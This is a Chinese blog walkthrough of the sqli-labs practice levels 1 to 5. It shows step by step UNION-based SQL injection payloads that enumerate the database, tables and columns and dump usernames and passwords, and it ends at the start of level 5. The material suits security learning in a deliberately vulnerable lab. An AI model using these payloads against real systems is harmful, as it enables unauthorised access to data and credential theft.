本文发布于822天前,本文最后更新于125 天前,其中的信息可能已经过时,如有错误请留言或评论。
之前打的时候没写这个,不过之前也只过了几关,今天也是正好趁作业写一下。
Advanced Injections(1—22关)
Less-1
- 提示输入一个数字作为id的参数,输入1和2页面显示不同,所有猜测是代入了数据库进行查询
- 判断是字符型还是数字型,使用
'
判断,只加'
会报错,但是后面加--+
就又恢复正常,所以判断为字符型
- 使用
order by
进行看有多少列,发现超过3后就会报错,所以有三列1' order by 3--+
- 使用
select
查看能有显示的是那些,发现是2和3-1' union select 1,2,3--+
- 使用这两个地方进行注入,使用如下命令查看数据库名和用户或版本
-1' union select 1,database(),user()--+ -1' union select 1,database(),version()--+
- 然后使用如下命令查看
security
库中的表?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
成功获取到
security
库中的表
- 使用下面的命令查看
users
表中有哪些字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
- 使用下面命令查看
user
表中的各个字段的内容?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
每个用户名与该用户密码一一对应
注意:因为是第一关,所以比较细,后面的只要能有回显就不打了,后面步骤基本一样,就是把需要查询的数据替换到能够回显的地方就可以了。
Less-2
- 首先判断是字符型还是数字型,因为加
and 1=1
不变,但是加and 1=2
页面不报错,但是和原本页面不同,所以猜测为数字型,数字型是不需要使用单引号来闭合的
- 使用
order by
进行看有多少列,发现超过3后就会报错,所以有三列?id=1 order by 3
- 查看哪些地方有回显
?id=-1 union select 1,2,3--+
- 后面步骤和第一关基本一致,把要查询的数据替换2或3的位置即可
Less-3
- 先判断是什么类型,加了一个
'
后页面报错如下
蓝色的部分是我们输入的内容,也就是id的值,紫色部分的单引号是报错语句会把我们出现错误的地方用单引号括起来,这个不用管,然后就是除了紫色之外的部分就是从我们输入的id被拼接到sql语句中之后报错的语句,这个需要我们进行观察,可以看到原本绿色的部分是正常sql语句中的闭合单引号,但是由于我们输入给id的值中含有一个单引号,导致正确语句中的单引号和我们输入的单引号配对了,从而导致空余了一个单引号,因此导致执行失败报错。
由此判断,原本的语句中应该是select xxx from xxx where id=('$id') LIMIT 0,1
所以我们需要去闭合那个
')
后才能进行注入 - 使用
order by
进行看有多少列,发现超过3后就会报错,所以有三列
- 查看哪些地方有回显
?id=-1') union select 1,2,3--+
- 后面步骤和第一关基本一致,把要查询的数据替换2或3的位置即可
Less-4
- 根据报错判断是什么类型以及是如何闭合的,使用
'
')
进行闭合都显示正常,下面是我使用")
闭合的结果,也可以使用"
根据报错分析,紫色部分的单引号是报错语句会把我们出现错误的地方用单引号括起来,这个不用管,绿色部分就是我们输入的id使原本用来闭合id值的")
被id值中的")
闭合掉了,导致他们两个多余,从而使语句无法执行
所以sql语句要使用")
进行闭合后再注入 - 使用
order by
进行看有多少列,发现超过3后就会报错,所以有三列
- 查看哪些地方有回显
- 后面步骤和第一关基本一致,把要查询的数据替换2或3的位置即可
Less-5
- 根据报错判断是还是字符型,但是页面返回一直是不变的,所以这时候就不能使用联合注入了